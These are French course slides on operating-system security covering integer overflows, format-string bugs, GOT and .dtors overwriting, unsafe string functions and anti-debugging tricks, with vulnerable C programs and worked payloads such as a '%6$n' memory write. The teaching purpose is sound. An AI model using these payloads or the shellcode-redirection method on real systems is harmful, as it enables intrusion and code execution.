Upload
others
View
2
Download
0
Embed Size (px)
Citation preview
Securite des Systemes d’Exploitation : cours 3
Frederic Gava
Master ISIDIS, Universite de Paris-Est Creteil
Cours SESE du M2 ISIDIS
Plan
1 Debordements arithmetiques
2 Bug de format
3 Exploitation des sections
4 Retro-Ingenieurie
5 Protections
Plan
1 Debordements arithmetiques
2 Bug de format
3 Exploitation des sections
4 Retro-Ingenieurie
5 Protections
Plan
1 Debordements arithmetiques
2 Bug de format
3 Exploitation des sections
4 Retro-Ingenieurie
5 Protections
Plan
1 Debordements arithmetiques
2 Bug de format
3 Exploitation des sections
4 Retro-Ingenieurie
5 Protections
Plan
1 Debordements arithmetiques
2 Bug de format
3 Exploitation des sections
4 Retro-Ingenieurie
5 Protections
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Deroulement du cours
1 Debordements arithmetiques
2 Bug de format
3 Exploitation des sections
4 Retro-Ingenieurie
5 Protections
SESE : cours 3 3 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Integer-Overflow ≡ Debordements arithmetiques (1)
Prenons ce petit programme :
#include <stdio.h>int main(int argc , char ∗argv []) {int i , s ;unsigned int u;printf (”sizeof(int) = %i\n\n”, sizeof(int));for ( i=1; i<argc; i++) {u = s = atoi(argv[i]);printf (”%s = 0x%x\n”, argv[i], s);printf (”%s + 1 = 0x%x + 1 = %i\n”, argv[i], s, s+1);printf (”%s − 1 = 0x%x − 1 = %i\n”, argv[i], s, s−1);printf (”%s + 1 = 0x%x + 1 = %u\n”, argv[i], u, u+1);printf (”%s − 1 = 0x%x − 1 = %u\n”, argv[i], u, u−1);printf (”\n”);}
}
SESE : cours 3 4 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Debordements arithmetiques (2)
Voyons voir pour ”./intof 10 2147483647 2147483648 0xffffffff 0”
sizeof(int) = 4
10 = 0xa
10 + 1 = 0xa + 1 = 11
10 - 1 = 0xa - 1 = 9
10 + 1 = 0xa + 1 = 11
10 - 1 = 0xa - 1 = 9
2147483647 = 0x7fffffff
2147483647 + 1 = 0x7fffffff + 1 = -2147483648
2147483647 - 1 = 0x7fffffff - 1 = 2147483646
2147483647 + 1 = 0x7fffffff + 1 = 2147483648
2147483647 - 1 = 0x7fffffff - 1 = 2147483646
SESE : cours 3 5 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Debordements arithmetiques (3)
2147483648 = 0x7fffffff
2147483648 + 1 = 0x7fffffff + 1 = -2147483648
2147483648 - 1 = 0x7fffffff - 1 = 2147483646
2147483648 + 1 = 0x7fffffff + 1 = 2147483648
2147483648 - 1 = 0x7fffffff - 1 = 2147483646
0xffffffff = 0x0
0xffffffff + 1 = 0x0 + 1 = 1
0xffffffff - 1 = 0x0 - 1 = -1
0xffffffff + 1 = 0x0 + 1 = 1
0xffffffff - 1 = 0x0 - 1 = 4294967295
0 = 0x0
0 + 1 = 0x0 + 1 = 1
0 - 1 = 0x0 - 1 = -1
0 + 1 = 0x0 + 1 = 1
0 - 1 = 0x0 - 1 = 4294967295
SESE : cours 3 6 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Debordements arithmetiques (4)
vient du codage des entiers en machines : 4 * 8 = 32 bits ici
entiers signes ⇒ le bit de poids fort indique le signe ⇒ entiersentre 231 et 231 - 1
entiers non signes ⇒ entre 0 et 232 - 1
sur les nombres limites ⇒ calcul faux, conversionshasardeuses, etc.
dans le meilleur des cas, le programme part en vrille et seplante ⇒ deni de service
potentiellement exploitables ⇒ changement d’une variable oudebordement de tampon
parfois tres difficile de savoir si un calcul va deborder
aussi difficile de verifier apres
de grandes precautions sont necessaires
affecte C/C++ et Java
en Ada, GNAT genere les verifications ⇒ performancespresque identiques (de l’ordre de 1% de perte)
SESE : cours 3 7 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Debordements arithmetiques : exemples
Google bug : recherche dichotomique avec l+u
2 qu’on peut
reecrire en l + u−l
2
boucles logarithmiques for(i<n ;i = 0 ;i = ∗2). Tourne al’infinie si n>limite/2
...
SESE : cours 3 8 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Debordements arithmetiques : attaque (1)
int myfunction(int ∗array, int len) {int ∗myarray, i;
myarray = malloc(len ∗ sizeof (int)); /∗ [1] ∗/if (myarray == NULL) {return −1;}for (i=0;i<len;i++) { /∗ [2] ∗/myarray[i]=array[i];
}return myarray;}
en [1], la multiplication peut deborder ⇒ on peut choisir lataille de buffer qu’on souhaite (petit)
ensuite, en [2], la copie deborde le buffer (dans le tas, voir lesattaques par stack-overflow)
SESE : cours 3 9 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Debordements arithmetiques : attaque (2)
int catvars (char ∗buf1, char ∗buf2, unsigned int len1, unsigned int len2) {char mybuf[256];
if ((len1+len2)>256) { /∗ [1] ∗/return −1;}memcpy(mybuf, buf1, len1); /∗ [2] ∗/memcpy(mybuf+len1, buf2, len2); /∗ [3] ∗/do some stuff(mybuf);return 0;}
en [1], le test peut etre contourne par un debordement
ensuite, on deborde sur la pile en [2] et [3]
SESE : cours 3 10 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Debordements arithmetiques : attaque (3)
int copy something (char ∗buf, int len) {char kbuf[800];if (len>sizeof(kbuf)) { /∗ [1] ∗/return −1;}return memcpy(kbuf, buf, len); /∗ [2] ∗/}
si len est negatif, le test en [1] est correct
ensuite, en [2], memcpy (3) l’interprete comme unsigned ⇒tres grande valeur et debordement sur la pile
SESE : cours 3 11 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Deroulement du cours
1 Debordements arithmetiques
2 Bug de format
3 Exploitation des sections
4 Retro-Ingenieurie
5 Protections
SESE : cours 3 12 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Introduction (1)
erreur typique : printf(str) a la place de printf(”%s”, str)
se produit quand on utilise des donnees hostiles commeargument de printf (3) ou d’une autre fonction de la famille
l’attaquant fournit une chaıne avec des instructions de format(% ?)
permet d’afficher le contenu de la pile (avec %x)
Exemple format.c :
#include <stdio.h>int main(int argc, char ∗argv[]) {int i;for (i=1; i<argc; i++){printf(argv[i]);printf(”\n”); ∗/ ligne 8 ∗/}
return 0;}
SESE : cours 3 13 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Introduction (2)
$ gdb format
(gdb) break 8
Breakpoint 1 at 0x8048398: file format.c, line 8.
(gdb) run "%x %x %x %x %x %x %x %x %x %x"
Starting program: format "%x %x %x %x %x %x %x %x %x %x"
Breakpoint 1, main (argc=2, argv=0xbffff914) at format.c:8
8 printf("\n");
(gdb) next
40171800 80483cd 40171800 40016640 1 bffff8e8 4004295d 2 bffff914 bffff920
6 for (i=1; i<argc; i++) {
(gdb) x/10 $ebp-20
0xbffff874: 0x40171800 0x080483cd 0x40171800 0x40016640
0xbffff884: 0x00000001 0xbffff8e8 0x4004295d 0x00000002
0xbffff894: 0xbffff914 0xbffff920
Ici, pour chaque %x le programme lit 4 octets sur la pile enpensant y trouver un argument (de type int) ⇒ il lit simplement lapile. On peut recuperer les adresses de retour, les variables locales(y compris des clefs), etc. ⇒ meme plus besoin de gdb !
SESE : cours 3 14 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Introduction (3)
permet d’ecrire des donnees arbitraires a des adressesarbitraires (avec %n) ⇒ aussi dangereux qu’un debordementde tampon
a peine plus dur a exploiter
probleme general aux fonctions a nombre de parametresvariables
specifique a C/C++
mais voyons cela plus en detail (d’apres cours de ChristopheBLAESS, Christophe GRENIER et Fredereric RAYNAL)
SESE : cours 3 15 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Printf : rappels et decouvertes (1)
Exemple aff.c :
#include <stdio.h>main() {int i = 64;char a = ’a’;printf(”int : %d %d\n”, i, a);printf(”char : %c %c\n”, i, a); }
>>gcc aff.c -o aff
>>./aff
int : 64 97
char : @ a
Et il existe aussi : %g, %h, %x, le caractere . pour indiquer laprecision, %NombreType (comme %5s) pour spefichier le nombrede caracteres a imprimer, %Numero$Type pour specifierl’argument exact (exemple : printf(”%2$s %1$s”, ”world”,”Hello”)). Mais il est un formatage souvent passer sous silence :%n (maintenant souvent non-utilisable...)
SESE : cours 3 16 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
%n, quezaco ? (1)
Voyons la doc (man) : ”The number of characters written so far isstored into the integer indicated by the int * (or variant) pointerargument. No argument is converted.”. Cet argument permetd’ecrire dans une variable de type pointeur, meme lorsqu’il estutilise dans une fonction d’affichage ! Fonctionne pour scanf,syslog, etc. Exemple ”printf1.c” :
#include <stdio.h>main() {char ∗buf = ”0123456789”;int n;printf(”%s%n\n”, buf, &n);printf(”n = %d\n”, n); }
>>gcc printf1.c -o printf1
>>./printf1
0123456789
n = 10
SESE : cours 3 17 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
%n, quezaco ? (1)
Voyons la doc (man) : ”The number of characters written so far isstored into the integer indicated by the int * (or variant) pointerargument. No argument is converted.”. Cet argument permetd’ecrire dans une variable de type pointeur, meme lorsqu’il estutilise dans une fonction d’affichage ! Fonctionne pour scanf,syslog, etc. Exemple ”printf1.c” :
#include <stdio.h>main() {char ∗buf = ”0123456789”;int n;printf(”%s%n\n”, buf, &n);printf(”n = %d\n”, n);printf(”buf=%s%n\n”, buf, &n);printf(”n = %d\n”, n);}
>>gcc printf1.c -o printf1
>>./printf1
0123456789
n = 10
n = 14
SESE : cours 3 18 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
%n, quezaco ? (2)
Le formatage %n comptabilise donc tous les caracteres quiapparaissent dans la chaıne de format. En fait, comme le montre leprogramme printf2, il comptabilise plus que ca :
#include <stdio.h>main() {char buf[10];int n, x = 0;snprintf(buf, sizeof buf, ”%.100d%n”, x, &n);printf(”l = %d\n”, strlen(buf));printf(”n = %d\n”, n); }
>>gcc printf2.c -o printf2
>>./printf2
l = 9
n = 100
L’utilisation de la fonction snprintf() force l’ecriture d’au plus dixoctets dans la variable buf. La variable n devrait donc valoir 10. Enfait, le format %n compte le nombre de caracteres qui auraient duetre ecrits. Cet exemple illustre que lors de l’ecriture tronqueed’une chaıne dans un buffer de taille fixe, le format %n ignore cetteSESE : cours 3 19 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
%n, quezaco ? (3)
La chaıne de format est developpee avant d’etre recopiee.
char buf[5];int n, x = 1234;snprintf(buf, sizeof buf, ”%.5d%n”, x, &n);printf(”l = %d\n”, strlen(buf));printf(”n = %d\n”, n);printf(”buf = [%s] (%d)\n”, buf, sizeof buf);
l = 4
n = 5
buf = [0123] (5)
La chaıne de format est deployee, conformement a ses”commandes”, ce qui donne ”00000\0”les variables sont inscrites aux emplacement prevus, ce qui seresume a recopier la variable x dans notre exemple. La chaınede caracteres contient alors ”01234\0”enfin, ”sizeof buf - 1” octets sont recopies de cette chaınedans la destination buf, ce qui nous donne bien ”0123\0”
SESE : cours 3 20 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Explorer la pile (1)
Le programme ”pile.c” nous aidera a comprendre le comportementde la fonction printf() vis-a-vis de la pile : :
#include <stdio.h>int main(int argc, char ∗∗argv) {int i = 1;char buffer[64];char tmp[] = ”\x01\x02\x03”;snprintf(buffer, sizeof buffer, argv[1]);buffer[sizeof (buffer) − 1] = 0;printf(”buffer : [%s] (%d)\n”, buffer, strlen(buffer));printf (”i = %d (%p)\n”, i, &i); }
>>./pile toto
buffer : [toto] (4)
i = 1 (bffff674)
Ce programme se contente de recopier un argument dans la chaınebuffer. Nous avons bien pris soin de ne pas recopier ”trop” dedonnees et de mettre un caractere de fin de chaıne afin d’eviter lesrisques de debordement de buffers.
SESE : cours 3 21 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Explorer la pile (2)
SESE : cours 3 22 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Explorer la pile (3)
>>./pile "123 %x"
buffer : [123 30201] (9)
i = 1 (bffff674)
Quels sont les arguments employes pour construire la chaıneresultante etant donne que nous ne lui en fournissons aucun ? Enfait, snprintf() se sert directement dans la pile !
>>./pile "123 %x %x"
buffer : [123 30201 20333231] (18)
i = 1 (bffff674)
Le second ”%x” permet d’explorer plus loin dans la pile ⇒snprintf() cherche les quatre octets situes apres la variable tmp, lebuffer”=123 ”, d’ou le nombre hexadecimal 0x20333231. Pourchaque ”%x”, snprintf() ”se deplace” par sauts de quatre octets(unsigned int sur les processeurs ix86) dans buffer. Cette variablejoue ainsi un double role : (1) destination pour l’ecriture et (2)source donnees pour les instructions de formatage. Le formatage”m$” nous permettrai de remonter ou nous voulons dans la pile !
SESE : cours 3 23 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Ecrire dans la memoire (1)
/∗ bug.c ∗/int i = 1;int main(int argc, char ∗argv[]) {char buf[512];if (argc != 2) return (−1);strncpy(buf, argv[1], 511);printf(buf);printf(”\ni = %x\n”, i);}
>>gcc bug.c -o bug
>>./bug chiche
chiche
i = 1
On va modifier le contenu de la variable (constante) ”i” a l’aide du”string format bug” !
SESE : cours 3 24 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Ecrire dans la memoire (2)
Il nous faut preablement l’adresse de i (variable globale). On peutla trouver dans le code assemble, plus precisement dans lesarguments du dernier call effectue par la fonction printf :
(gdb) disas main
Dump of assembler code for function main:
...
0x080484ab <main+75>: mov 0x80496bc,%eax | sans le $ devant la valeur,
c’est le contenu de l’adresse qui est mis dans eax
0x080484b0 <main+80>: push %eax | push du deuxieme argument
de la fonction printf ( i )
0x080484b1 <main+81>: push $0x80485a | push de la chaıne de format
de la fonction printf
0x080484b6 <main+86>: call 0x8048358 <printf> | appel de la fonction
printf
0x080484bb <main+91>: add $0x10,%esp
0x080484be <main+94>: leave | Epilogue du main
0x080484bf <main+95>: ret |
End of assembler dump.
SESE : cours 3 25 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Ecrire dans la memoire (3)
On ne peut qu’ecrire sur la stack, il faut donc placer l’adresse de isur la stack ⇒ mettre l’adresse de i au debut de l’argument passeau programme. Structure de la stack :
|----------|
| EIP |
|----------|
| EBP |
|----------| -- stack frame du main
| |
| buf[512] |
|----------|
| *buf |
|----------|
| EIP |
|----------|
| EBP |
|----------| -- stack frame printf
|Variables |
| locales |
| printf |
|----------|
SESE : cours 3 26 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Ecrire dans la memoire (4)
Il nous faudra donc connaitre l’adresse du buffer pour connaitre lenombre ”n” avec lequel on va pouvoir y ecrire avec le
>> ( for (( val = 1; val < 100; val++ )); do echo -n "val = $val " ; ./bug
val = 6 ABCD44434241
>> ./bug ’ABCD%6$x’
ABCD44434241
i = 1
./bug ”%2$x”’ va afficher en hexadecimal le contenu du 2e doublemot de la pile a l’appel du printf. Donc le debut de notre buffer estle 6ieme ”parametre” de printf (cela peut varier en fonction ducompilateur et de la libc).Il suffit d’ecrire l’adresse de i et d’utiliser l’operateur n a la placede x et le tour est joue...
SESE : cours 3 27 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Ecrire dans la memoire (5)
Il nous faudra donc connaitre l’adresse du buffer pour connaitre lenombre ”n” avec lequel on va pouvoir y ecrire avec le
>>./bug ‘python -c ’print "\xbc\x96\x04\x08%6$n"’‘
l
i = 4
>>./bug ‘python -c ’print "\xbc\x96\x04\x08%200x%6$n"’‘
bffff847
i = cc
Nous avons donc place l’adresse de i dans le buffer et on y ecritavec ’%6$n’. Comme nous n’avons ecrit que 4 caracteres (l’adressede i), nous allons ecrire la valeur de 4 dans l’adresse pointee par ledebut du buffer, donc dans i. Dans le deuxieme exemple nous avonsaffiche les 200 caracteres du haut de la pile, plus notre adresse, soit204 octets (0x20 = espace) : i vaut ensuite 0xCC = 204...
SESE : cours 3 28 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Deroulement du cours
1 Debordements arithmetiques
2 Bug de format
3 Exploitation des sections
4 Retro-Ingenieurie
5 Protections
SESE : cours 3 29 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Des sections specifiques (1)
Nous avons vu les debordements de buffer et les bogues de formatqui ont tout 2 des exploitations possibles (notamment l’ecrasementde la valeur de retour d’une fonction). Nous allons maintenantpresenter l’utilisation de 2 sections specifiques pour les attaques :la Global Offset Table (GOT, (section .ctors)) et les destruteurs dela libc (DTOR, section .dtors).
Pour obtenir les adresses des differents elements de ces tables onutilise objdump.
SESE : cours 3 30 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Des sections specifiques (2)
1 GOT : A la compillation le programme ne sait pas ou serontchargees les librairies partagees ; Le Dynamic Linker va secharger de mettre les adresses reelles des fonctions partageesdans cette table afin que le programme puisse y acceder.Cette zone est ideale pour ecrire l’adresse de notre shellcode.Il suffit d’ecrire a la place de l’adresse de la fonction printf(par exemple) l’adresse de notre shellcode pour qu’auprochain appel de cette fonction l’execution soit redirigee surnotre shellcode.
2 DTOR : la libc fournit un mecanisme de constructeur et dedestructeur. Ce sont des listes de fonctions qui sont appelleessuccessivement au demarage et a la fin de l’execution duprogramme. Si on ecrit l’adresse de notre shellcode dans laliste des destructeurs, ca aurait pour effet de le faire executera la fin du programme.
SESE : cours 3 31 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Des sections specifiques (3)
Exemple cdtors.c :
void entree(void) attribute ((constructor));void sortie(void) attribute ((destructor));
int main() { printf(”dans main()\n”);}
void entree(void) {printf(”dans entree()\n”);}
void sortie(void) {printf(”dans sortie()\n”);}
>>gcc cdtors.c -o cdtors
>>./cdtors
dans entree()
dans main()
dans sortie()
SESE : cours 3 32 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Des sections specifiques (4)
(adresses en little endian) :
>>objdump -s -j .ctors cdtors
cdtors: file format elf32-i386
Contents of section .ctors:
804949c ffffffff dc830408 00000000 ............
>>objdump -s -j .dtors cdtors
cdtors: file format elf32-i386
Contents of section .dtors:
80494a8 ffffffff f0830408 00000000 ............
et
>>objdump -t cdtors | egrep "entree|sortie"
080483dc g F .text 00000012 entree
080483f0 g F .text 00000012 sortie
Ces sections contiennent les adresses des fonctions a executer enentree ou sortie, encadrees par 0xffffffff et 0x00000000.
SESE : cours 3 33 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Comment s’en servir (1)
L’exploitation consiste a remplacer l’adresse d’une fonctionpresente dans une des sections par celle de la fonction que nousvoulons executer. Au cas ou ces sections sont vides, il suffitd’ecraser le 0x00000000 qui marque la fin de la section, ce qui aurapour effet de provoquer un ”segmentation fault” (plus le0x00000000 ⇒ les quatre octets suivants seront interpretes a leurtour comme une adresse de fonction, ce qui n’est probablementpas le cas).
La section ”.dtors” est la plus simple a exploiter :⇒ pas le tempsde faire quoique ce soit avant la section .ctors. D’une manieregenerale, il faut ecraser l’adresse qui se situe quatre octets apres ledebut de la section (le 0xffffffff) pour que notre fonction soitexecutee en premier : s’il n’y avait aucune adresse, ceci ecrase le0x00000000 et dans le cas contraire, la premiere fonction executeesera la notre.
SESE : cours 3 34 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Comment s’en servir (2)
Ok, mais quelle fonction (shellcode) a executer ? Il suffit de passerun shellcode au programme vulnerable (soit par l’intermediaire deargv, soit par une variable d’environnement) et d’aller ”pointer”dessus au moment opportun pour se retrouver avec un shell.
On utilise ”un execve(”./vuln”,arg,environ) ;” avec ”extern char**environ” ⇒ quand on un programme s’apelle recursivementlui-meme via execve, les adresses allouees pour arg et argvn’evoluent plus apres le deuxieme appel...on peut donc y mettreplus facilement le shellcode, et les adresses/taille des buffers carces infos seront a des adresses fixes.
SESE : cours 3 35 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Deroulement du cours
1 Debordements arithmetiques
2 Bug de format
3 Exploitation des sections
4 Retro-Ingenieurie
5 Protections
SESE : cours 3 36 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
A faire
a faire...
SESE : cours 3 37 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Deroulement du cours
1 Debordements arithmetiques
2 Bug de format
3 Exploitation des sections
4 Retro-Ingenieurie
5 Protections
SESE : cours 3 38 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Fonctions vulnerables
strcpy,strcat,gets ⇒ strncpy, strncat, fgets
sprintf et vsprintf ⇒ snprintf
strlen ⇒ s’assurer qu’on aura bien un NIL
scanf (and quo) ⇒ toujours controler la taille (surtout avec%s)
realpath ⇒ ne marche pas de toute facon
getopt, getpass, strecpy, streadd, strtrns et getwd
getopt, getpass, streadd, strecpy et strtrns ⇒ avec precautions
getwd ⇒ le tableau doit avoir au moins PATH MAXcaracteres
les macros de select ne verifient pas fd ⇒ FD SET(),FD CLR() et FD ISSET()
SESE : cours 3 39 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Quelques precautions (1)
toujours penser a compter /0 dans la taille
attention aux indices de boucle, il est facile de deborder d’unoctet ⇒ ecrasement du pointeur de frame (attaqueoff-by-one) :
void f () {char buffer[256];int i;for (i=0; i<=256; i++) {buffer[i] = ...
SESE : cours 3 40 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Quelques precautions (2)
attention lorsque la taille d’une donnee est fournie parl’exterieur. Il faut la verifier :
char buffer[256];int i;fread(&i, sizeof(int), 1, fd);fread(buffer, sizeof(char), i, fd); // overflow if i>256
idem pour le signe, a verifier
char buffer[256];int i;fread(&i, sizeof(int), 1, fd);if (i < 256) { fread(buffer, sizeof(char), i, fd); // overflow if i<0
SESE : cours 3 41 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Quelques precautions : attention aux strn* ! (1)
Paru dans le magazine MISC numero 3(http://www.ed-diamond.com). Strncpy() et consort n’ont pasete concus initialement pour la securite. Leurs semantique peutetre ”fatale” :
#include <string.h>
func(char ∗sm) {char buffer[12];strcpy(buffer, sm);}
main(int argc, char ∗argv[]) {char entry2[16];char entry1[8];if (argc > 2) {strncpy(entry1, argv[1], sizeof(entry1));strncpy(entry2, argv[2], sizeof(entry2));func(entry1); }
}
SESE : cours 3 42 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Quelques precautions : attention aux strn* ! (2)
$ ./vuln1 BBBBBBBB AAAAAAAAAAAA
Segmentation fault (core dumped)
$ gdb -c core -q
Core was generated by ‘./vuln1 BBBBBBBB AAAAAAAAAAAA’.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
strncpy() copie au maximum n octets du buffer source dans lebuffer de destination MAIS aussi que s’il n’y a pas de null bytedans ces n premiers octets : la fonction n’ajoute pas d’elle-memece null byte. La fonction strncpy() ne garantit donc pas que lachaıne soit terminee par octet NULL.L’adresse de retour de la fonction func() a ete ecrasee par les”AAAA” ce qui nous donne le controle sur %eip (le registreInstruction Pointer) : nos deux buffers entry1[] et entry2[] etantplaces de facon adjacente en memoire, la fonction func() copie lebuffer entry1[]+entry2[] (au lieu de seulement entry1[], soit8+16=24 octets au lieu des 12 prevus) dans le tableau buffer[], cequi provoque le debordement.
SESE : cours 3 43 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Quelques precautions : attention aux strn* ! (3)
Solution, ajouter manuellement l’octet NULL dans le bufferdestination :
strncpy(dest, src, sizeof(dest)−1);dest[sizeof(dest)−1] = ’\0’;
Remarque : en fait il n’est pas necessaire d’ajouter le ”/0”manuellement si le buffer dest est definit static ou a ete alloue avecla fonction calloc() car le contenu de tels buffers est mis a 0 lors deleur allocation. Il est cependant tres conseille de le faire pour eviterdes erreurs a la relecture du code.
SESE : cours 3 44 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Quelques precautions : attention aux strn* ! (4)
Autre exemple, le poisoned NULL byte. La fonction strncat() placetoujours un null byte a la fin du buffer destination :
#include <stdio.h>#include <string.h>
func(char ∗sm) {char buffer[128]=”kab00m!!”;char entry[1024];strncpy(entry, sm, sizeof(entry)−1);entry[sizeof(entry)−1] = ’\0’;strncat(buffer, entry, sizeof(buffer)−strlen(buffer));printf (”%s\n”, buffer);}
main(int argc, char ∗argv[]) {if (argc > 1) func(argv[1]);
}
SESE : cours 3 45 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Quelques precautions : attention aux strn* ! (5)
$ ./vuln2 ‘perl -e ’print "A"x120’‘
kab00m!!AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
$ gdb -c core -q
Core was generated by ‘./vuln2
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAA’.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
En fait, si un octet NULL est toujours ajoute avec la fonctionstrncat(), il ne faut pas le comptabiliser dans la longueur specifiee !
SESE : cours 3 46 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Quelques precautions : attention aux strn* ! (5)
Dans notre programme, la consequence est que si l’on tente deconcatener trop d’octets, un octet NULL est ajoute un octet troploin, soit apres notre buffer. Il s’agit donc d’un cas d’off-by-oneoverfow. Cet octet supplementaire ecrase le dernier octet 36/92(puisque l’architecture x86 fonctionne en Little Endian) du framepointer %ebp sauvegarde. En effet, le tableau buffer[] etant definien premier dans la fonction, il est donc ajoute dans la frame justedessus le pointeur de frame %ebp. Utilisation correcte :
strncat(dest, src, sizeof(dest)−strlen(dest)−1);
SESE : cours 3 47 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Protection contre le desassemblage
Les protections ne peuvent que ralentir l’analyse, jamais l’empecherSaut au milieu d’une instruction ⇒ brise l’alignement entrel’execution et le desassemblage
jmp antidebug + 2
antidebug:
.short 0xc606
movl $0x0, %eax => antidebug + 2
xorl %eax, %eax
Le desassemblage ne fera pas apparaıtre les deux dernieresinstructions (on repere 0xc606 avec l’echange du au codage littleendian) :
$ objdump -d a.out
804833c: eb 02 jmp 0x8048340
804833e: 06 push %es
804833f: c6 b8 00 00 00 00 31 movb $0x31,0x0(%eax)
8048346: c0 b8 00 00 00 00 c9 sarb $0xc9,0x0(%eax)
SESE : cours 3 48 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Suppression des symboles
Voir avec ”nm” et supprimer avec ”strip”.
$ nm str
080495b8 D _DYNAMIC
08049694 D _GLOBAL_OFFSET_TABLE_
08048584 R _IO_stdin_used
w _Jv_RegisterClasses
08049684 d __CTOR_END__
08049680 d __CTOR_LIST__
...
080483fc T main
U memset@@GLIBC_2.0
080495b4 d p.0
U printf@@GLIBC_2.0
U scanf@@GLIBC_2.0
U strcmp@@GLIBC_2.0
$strip str ; nm str
nm: str: no symbols
SESE : cours 3 49 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Suppression des sections
ELF Kickers ⇒ manipulation des fichiers ELF :
$ strip str
$ objdump -x str
str: file format elf32-i386
str
architecture: i386, flags 0x00000112:
...
voir feuille (7)
$ sstrip str
$ objdump -x str
...
voir feuille (7)
SESE : cours 3 50 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Une pile aleatoire (1)
Pour eviter que certains programmes ne soient facilementexploitables, il y a une petite protection : a chaque lancement duprog, l’adresse de la pile change. Exemple :
main() {char buffer[1024];
printf(”buffer=%p\n”, buffer);gets(buffer); /∗ vulnerable ∗/return 0;
}
(Une autre solution surhttp://www.false.com/security/linux/index.html)
SESE : cours 3 51 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Une pile aleatoire (2)
#include <unistd.h>#include <fcntl.h>#include <stdlib.h>real main() {char buffer[1024];printf(”buffer=%p\n”, buffer);gets(buffer); /∗ insecure! ∗/return 0; }
main() {if(getenv(”RANDOM STACK”)) {
void ∗x; int fd;size t n; ssize t m;char buffer[sizeof (size t)];fd = open(”/dev/urandom”, O RDONLY);read(fd, buffer, sizeof (size t));close(fd);n = ∗(size t ∗)buffer;n %= atoi(getenv(”RANDOM STACK”));x = alloca(n);}
exit(real main());}
SESE : cours 3 52 / 54
Debordements arithmetiques Bug de format Exploitation des sections Retro-Ingenieurie Protections
Protections contre l’analyse
Sous Linux, les debogueurs reposent sur la fonction ptrace qui estadapte aux programmes qui se laissent observer ⇒ un programmehostile peut le detecter :
#include <sys/ptrace.h>if ( ptrace(PTRACE TRACEME, 0, NULL, NULL) < 0) { while(1); }
